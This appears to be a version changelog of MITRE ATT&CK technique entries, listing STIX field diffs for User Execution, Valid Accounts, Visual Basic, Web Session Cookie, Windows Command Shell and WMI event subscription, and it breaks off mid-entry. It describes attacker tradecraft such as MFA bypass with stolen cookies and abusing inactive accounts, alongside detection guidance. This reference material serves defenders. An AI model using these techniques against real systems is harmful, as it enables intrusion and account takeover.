| modified | 2020-09-16 19:40:44.714000+00:00 | 2022-04-01 12:57:34.058000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[1] | OAuth audit logs | Active Directory: Active Directory Credential Request |
| x_mitre_data_sources[2] | Authentication logs | Logon Session: Logon Session Creation |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Application Log: Application Log Content | |
| x_mitre_data_sources | User Account: User Account Authentication | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Containers |
Current version: 1.5
Version changed from: 1.2 → 1.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may rely upon specific actions by a user in ord | t | 1 | An adversary may rely upon specific actions by a user in ord |
| > | er to gain execution. Users may be subjected to social engin | > | er to gain execution. Users may be subjected to social engin | ||
| > | eering to get them to execute malicious code by, for example | > | eering to get them to execute malicious code by, for example | ||
| > | , opening a malicious document file or link. These user acti | > | , opening a malicious document file or link. These user acti | ||
| > | ons will typically be observed as follow-on behavior from fo | > | ons will typically be observed as follow-on behavior from fo | ||
| > | rms of [Phishing](https://attack.mitre.org/techniques/T1566) | > | rms of [Phishing](https://attack.mitre.org/techniques/T1566) | ||
| > | . While [User Execution](https://attack.mitre.org/technique | > | . While [User Execution](https://attack.mitre.org/technique | ||
| > | s/T1204) frequently occurs shortly after Initial Access it m | > | s/T1204) frequently occurs shortly after Initial Access it m | ||
| > | ay occur at other phases of an intrusion, such as when an ad | > | ay occur at other phases of an intrusion, such as when an ad | ||
| > | versary places a file in a shared directory or on a user's d | > | versary places a file in a shared directory or on a user's d | ||
| > | esktop hoping that a user will click on it. This activity ma | > | esktop hoping that a user will click on it. This activity ma | ||
| > | y also be seen shortly after [Internal Spearphishing](https: | > | y also be seen shortly after [Internal Spearphishing](https: | ||
| > | //attack.mitre.org/techniques/T1534). | > | //attack.mitre.org/techniques/T1534). Adversaries may also | ||
| > | deceive users into performing actions such as enabling [Remo | ||||
| > | te Access Software](https://attack.mitre.org/techniques/T121 | ||||
| > | 9), allowing direct control of the system to the adversary, | ||||
| > | or downloading and executing malware for [User Execution](ht | ||||
| > | tps://attack.mitre.org/techniques/T1204). For example, tech | ||||
| > | support scams can be facilitated through [Phishing](https:// | ||||
| > | attack.mitre.org/techniques/T1566), vishing, or various form | ||||
| > | s of user interaction. Adversaries can use a combination of | ||||
| > | these methods, such as spoofing and promoting toll-free numb | ||||
| > | ers or call centers that are used to direct victims to malic | ||||
| > | ious websites, to deliver and execute payloads containing ma | ||||
| > | lware or [Remote Access Software](https://attack.mitre.org/t | ||||
| > | echniques/T1219).(Citation: Telephone Attack Delivery) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-11 14:55:56.315000+00:00 | 2022-04-19 20:31:15.373000+00:00 |
| description | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566). While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534). Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) |
| x_mitre_data_sources[0] | Anti-virus | Container: Container Start |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Instance: Instance Creation |
| x_mitre_version | 1.2 | 1.5 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Telephone Attack Delivery', 'description': 'Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery'} | |
| x_mitre_data_sources | Instance: Instance Start | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_data_sources | Network Traffic: Network Traffic Content | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Application Log: Application Log Content | |
| x_mitre_data_sources | Container: Container Creation | |
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
| x_mitre_data_sources | Image: Image Creation | |
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | Containers |
Current version: 2.4
Version changed from: 2.1 → 2.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obtain and abuse credentials of existing acc | t | 1 | Adversaries may obtain and abuse credentials of existing acc |
| > | ounts as a means of gaining Initial Access, Persistence, Pri | > | ounts as a means of gaining Initial Access, Persistence, Pri | ||
| > | vilege Escalation, or Defense Evasion. Compromised credentia | > | vilege Escalation, or Defense Evasion. Compromised credentia | ||
| > | ls may be used to bypass access controls placed on various r | > | ls may be used to bypass access controls placed on various r | ||
| > | esources on systems within the network and may even be used | > | esources on systems within the network and may even be used | ||
| > | for persistent access to remote systems and externally avail | > | for persistent access to remote systems and externally avail | ||
| > | able services, such as VPNs, Outlook Web Access and remote d | > | able services, such as VPNs, Outlook Web Access and remote d | ||
| > | esktop. Compromised credentials may also grant an adversary | > | esktop. Compromised credentials may also grant an adversary | ||
| > | increased privilege to specific systems or access to restric | > | increased privilege to specific systems or access to restric | ||
| > | ted areas of the network. Adversaries may choose not to use | > | ted areas of the network. Adversaries may choose not to use | ||
| > | malware or tools in conjunction with the legitimate access t | > | malware or tools in conjunction with the legitimate access t | ||
| > | hose credentials provide to make it harder to detect their p | > | hose credentials provide to make it harder to detect their p | ||
| > | resence. The overlap of permissions for local, domain, and | > | resence. In some cases, adversaries may abuse inactive acco | ||
| > | cloud accounts across a network of systems is of concern bec | > | unts: for example, those belonging to individuals who are no | ||
| > | ause the adversary may be able to pivot across accounts and | > | longer part of an organization. Using these accounts may al | ||
| > | systems to reach a high level of access (i.e., domain or ent | > | low the adversary to evade detection, as the original accoun | ||
| > | erprise administrator) to bypass access controls set within | > | t user will not be present to identify any anomalous activit | ||
| > | the enterprise. (Citation: TechNet Credential Theft) | > | y taking place on their account.(Citation: CISA MFA PrintNig | ||
| > | htmare) The overlap of permissions for local, domain, and c | ||||
| > | loud accounts across a network of systems is of concern beca | ||||
| > | use the adversary may be able to pivot across accounts and s | ||||
| > | ystems to reach a high level of access (i.e., domain or ente | ||||
| > | rprise administrator) to bypass access controls set within t | ||||
| > | he enterprise.(Citation: TechNet Credential Theft) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-560 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:01:22.724000+00:00 | 2022-05-05 04:55:21.981000+00:00 |
| description | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft) | Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) |
| external_references[1]['source_name'] | capec | CISA MFA PrintNightmare |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/560.html | https://www.cisa.gov/uscert/ncas/alerts/aa22-074a |
| x_mitre_data_sources[0] | AWS CloudTrail logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Stackdriver logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[2] | Authentication logs | Logon Session: Logon Session Metadata |
| x_mitre_defense_bypassed[1] | Host intrusion prevention systems | Anti-virus |
| x_mitre_defense_bypassed[2] | Network intrusion detection system | Host Intrusion Prevention Systems |
| x_mitre_defense_bypassed[3] | Application control | Network Intrusion Detection System |
| x_mitre_defense_bypassed[4] | System access controls | Application Control |
| x_mitre_defense_bypassed[5] | Anti-virus | System Access Controls |
| x_mitre_detection | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. | Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Office 365 | Google Workspace |
| x_mitre_platforms[8] | Azure AD | Containers |
| x_mitre_version | 2.1 | 2.4 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/560.html', 'external_id': 'CAPEC-560'} | |
| x_mitre_contributors | Syed Ummar Farooqh, McAfee | |
| x_mitre_contributors | Prasad Somasamudram, McAfee | |
| x_mitre_contributors | Sekhar Sarukkai, McAfee | |
| x_mitre_contributors | Jon Sternstein, Stern Security | |
| x_mitre_contributors | Yossi Weizman, Azure Defender Research Team |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Visual Basic (VB) for execution. VB is | t | 1 | Adversaries may abuse Visual Basic (VB) for execution. VB is |
| > | a programming language created by Microsoft with interopera | > | a programming language created by Microsoft with interopera | ||
| > | bility with many Windows technologies such as [Component Obj | > | bility with many Windows technologies such as [Component Obj | ||
| > | ect Model](https://attack.mitre.org/techniques/T1559/001) an | > | ect Model](https://attack.mitre.org/techniques/T1559/001) an | ||
| > | d the [Native API](https://attack.mitre.org/techniques/T1106 | > | d the [Native API](https://attack.mitre.org/techniques/T1106 | ||
| > | ) through the Windows API. Although tagged as legacy with no | > | ) through the Windows API. Although tagged as legacy with no | ||
| > | planned future evolutions, VB is integrated and supported i | > | planned future evolutions, VB is integrated and supported i | ||
| > | n the .NET Framework and cross-platform .NET Core.(Citation: | > | n the .NET Framework and cross-platform .NET Core.(Citation: | ||
| > | VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu | > | VB .NET Mar 2020)(Citation: VB Microsoft) Derivative langu | ||
| > | ages based on VB have also been created, such as Visual Basi | > | ages based on VB have also been created, such as Visual Basi | ||
| > | c for Applications (VBA) and VBScript. VBA is an event-drive | > | c for Applications (VBA) and VBScript. VBA is an event-drive | ||
| > | n programming language built into Microsoft Office, as well | > | n programming language built into Microsoft Office, as well | ||
| > | as several third-party applications.(Citation: Microsoft VBA | > | as several third-party applications.(Citation: Microsoft VBA | ||
| > | )(Citation: Wikipedia VBA) VBA enables documents to contain | > | )(Citation: Wikipedia VBA) VBA enables documents to contain | ||
| > | macros used to automate the execution of tasks and other fun | > | macros used to automate the execution of tasks and other fun | ||
| > | ctionality on the host. VBScript is a default scripting lang | > | ctionality on the host. VBScript is a default scripting lang | ||
| > | uage on Windows hosts and can also be used in place of [Java | > | uage on Windows hosts and can also be used in place of [Java | ||
| > | Script/JScript](https://attack.mitre.org/techniques/T1059/00 | > | Script](https://attack.mitre.org/techniques/T1059/007) on HT | ||
| > | 7) on HTML Application (HTA) webpages served to Internet Exp | > | ML Application (HTA) webpages served to Internet Explorer (t | ||
| > | lorer (though most modern browsers do not come with VBScript | > | hough most modern browsers do not come with VBScript support | ||
| > | support).(Citation: Microsoft VBScript) Adversaries may us | > | ).(Citation: Microsoft VBScript) Adversaries may use VB pay | ||
| > | e VB payloads to execute malicious commands. Common maliciou | > | loads to execute malicious commands. Common malicious usage | ||
| > | s usage includes automating execution of behaviors with VBSc | > | includes automating execution of behaviors with VBScript or | ||
| > | ript or embedding VBA content into [Spearphishing Attachment | > | embedding VBA content into [Spearphishing Attachment](https: | ||
| > | ](https://attack.mitre.org/techniques/T1566/001) payloads. | > | //attack.mitre.org/techniques/T1566/001) payloads (which may | ||
| > | also involve [Mark-of-the-Web Bypass](https://attack.mitre. | ||||
| > | org/techniques/T1553/005) to enable execution).(Citation: De | ||||
| > | fault VBS macros Blocking ) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-13 20:09:39.122000+00:00 | 2022-03-07 19:43:49.315000+00:00 |
| description | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads. | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking ) |
| x_mitre_data_sources[0] | DLL monitoring | Script: Script Execution |
| x_mitre_data_sources[1] | Loaded DLLs | Command: Command Execution |
| x_mitre_data_sources[2] | File monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Creation |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Default VBS macros Blocking ', 'description': 'Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.', 'url': 'https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.3
Version changed from: 1.1 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can use stolen session cookies to authenticate t | t | 1 | Adversaries can use stolen session cookies to authenticate t |
| > | o web applications and services. This technique bypasses som | > | o web applications and services. This technique bypasses som | ||
| > | e multi-factor authentication protocols since the session is | > | e multi-factor authentication protocols since the session is | ||
| > | already authenticated.(Citation: Pass The Cookie) Authenti | > | already authenticated.(Citation: Pass The Cookie) Authenti | ||
| > | cation cookies are commonly used in web applications, includ | > | cation cookies are commonly used in web applications, includ | ||
| > | ing cloud-based services, after a user has authenticated to | > | ing cloud-based services, after a user has authenticated to | ||
| > | the service so credentials are not passed and re-authenticat | > | the service so credentials are not passed and re-authenticat | ||
| > | ion does not need to occur as frequently. Cookies are often | > | ion does not need to occur as frequently. Cookies are often | ||
| > | valid for an extended period of time, even if the web applic | > | valid for an extended period of time, even if the web applic | ||
| > | ation is not actively used. After the cookie is obtained thr | > | ation is not actively used. After the cookie is obtained thr | ||
| > | ough [Steal Web Session Cookie](https://attack.mitre.org/tec | > | ough [Steal Web Session Cookie](https://attack.mitre.org/tec | ||
| > | hniques/T1539), the adversary may then import the cookie int | > | hniques/T1539) or [Web Cookies](https://attack.mitre.org/tec | ||
| > | o a browser they control and is then able to use the site or | > | hniques/T1606/001), the adversary may then import the cookie | ||
| > | application as the user for as long as the session cookie i | > | into a browser they control and is then able to use the sit | ||
| > | s active. Once logged into the site, an adversary can access | > | e or application as the user for as long as the session cook | ||
| > | sensitive information, read email, or perform actions that | > | ie is active. Once logged into the site, an adversary can ac | ||
| > | the victim account has permissions to perform. There have b | > | cess sensitive information, read email, or perform actions t | ||
| > | een examples of malware targeting session cookies to bypass | > | hat the victim account has permissions to perform. There ha | ||
| > | multi-factor authentication systems.(Citation: Unit 42 Mac C | > | ve been examples of malware targeting session cookies to byp | ||
| > | rypto Cookies January 2019) | > | ass multi-factor authentication systems.(Citation: Unit 42 M | ||
| > | ac Crypto Cookies January 2019) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:44.527000+00:00 | 2021-10-12 14:22:09.650000+00:00 |
| description | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) | Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) |
| external_references[3]['description'] | Chen, Y., Hu, W., Xu, Z., et. al.. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. | Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019. |
| x_mitre_data_sources[0] | Office 365 audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[1] | Authentication logs | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Jen Burns, HubSpot | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | IaaS |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows command shell for executio | t | 1 | Adversaries may abuse the Windows command shell for executio |
| > | n. The Windows command shell (<code>cmd.exe</code>) is the p | > | n. The Windows command shell ([cmd](https://attack.mitre.org | ||
| > | rimary command prompt on Windows systems. The Windows comman | > | /software/S0106)) is the primary command prompt on Windows s | ||
| > | d prompt can be used to control almost any aspect of a syste | > | ystems. The Windows command prompt can be used to control al | ||
| > | m, with various permission levels required for different sub | > | most any aspect of a system, with various permission levels | ||
| > | sets of commands. Batch files (ex: .bat or .cmd) also prov | > | required for different subsets of commands. The command prom | ||
| > | ide the shell with a list of sequential commands to run, as | > | pt can be invoked remotely via [Remote Services](https://att | ||
| > | well as normal scripting operations such as conditionals and | > | ack.mitre.org/techniques/T1021) such as [SSH](https://attack | ||
| > | loops. Common uses of batch files include long or repetitiv | > | .mitre.org/techniques/T1021/004).(Citation: SSH in Windows) | ||
| > | e tasks, or the need to run the same set of commands on mult | > | Batch files (ex: .bat or .cmd) also provide the shell with | ||
| > | iple systems. Adversaries may leverage <code>cmd.exe</code> | > | a list of sequential commands to run, as well as normal scri | ||
| > | to execute various commands and payloads. Common uses inclu | > | pting operations such as conditionals and loops. Common uses | ||
| > | de <code>cmd.exe /c</code> to execute a single command, or a | > | of batch files include long or repetitive tasks, or the nee | ||
| > | busing <code>cmd.exe</code> interactively with input and out | > | d to run the same set of commands on multiple systems. Adve | ||
| > | put forwarded over a command and control channel. | > | rsaries may leverage [cmd](https://attack.mitre.org/software | ||
| > | /S0106) to execute various commands and payloads. Common use | ||||
| > | s include [cmd](https://attack.mitre.org/software/S0106) to | ||||
| > | execute a single command, or abusing [cmd](https://attack.mi | ||||
| > | tre.org/software/S0106) interactively with input and output | ||||
| > | forwarded over a command and control channel. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| x_mitre_remote_support | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 17:02:13.722000+00:00 | 2021-07-26 17:13:07.345000+00:00 |
| description | Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd.exe) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.
Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
Adversaries may leverage cmd.exe to execute various commands and payloads. Common uses include cmd.exe /c to execute a single command, or abusing cmd.exe interactively with input and output forwarded over a command and control channel. | Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows) Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel. |
| x_mitre_data_sources[0] | Windows event logs | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'SSH in Windows', 'description': 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and elevate privileges | t | 1 | Adversaries may establish persistence and elevate privileges |
| > | by executing malicious content triggered by a Windows Manag | > | by executing malicious content triggered by a Windows Manag | ||
| > | ement Instrumentation (WMI) event subscription. WMI can be u | > | ement Instrumentation (WMI) event subscription. WMI can be u | ||
| > | sed to install event filters, providers, consumers, and bind | > | sed to install event filters, providers, consumers, and bind | ||
| > | ings that execute code when a defined event occurs. Examples | > | ings that execute code when a defined event occurs. Examples | ||
| > | of events that may be subscribed to are the wall clock time | > | of events that may be subscribed to are the wall clock time | ||
| > | , user loging, or the computer's uptime. (Citation: Mandiant | > | , user loging, or the computer's uptime.(Citation: Mandiant | ||
| > | M-Trends 2015) Adversaries may use the capabilities of WMI | > | M-Trends 2015) Adversaries may use the capabilities of WMI | ||
| > | to subscribe to an event and execute arbitrary code when th | > | to subscribe to an event and execute arbitrary code when tha | ||
| > | at event occurs, providing persistence on a system. (Citatio | > | t event occurs, providing persistence on a system.(Citation: | ||
| > | n: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adver | > | FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversar | ||
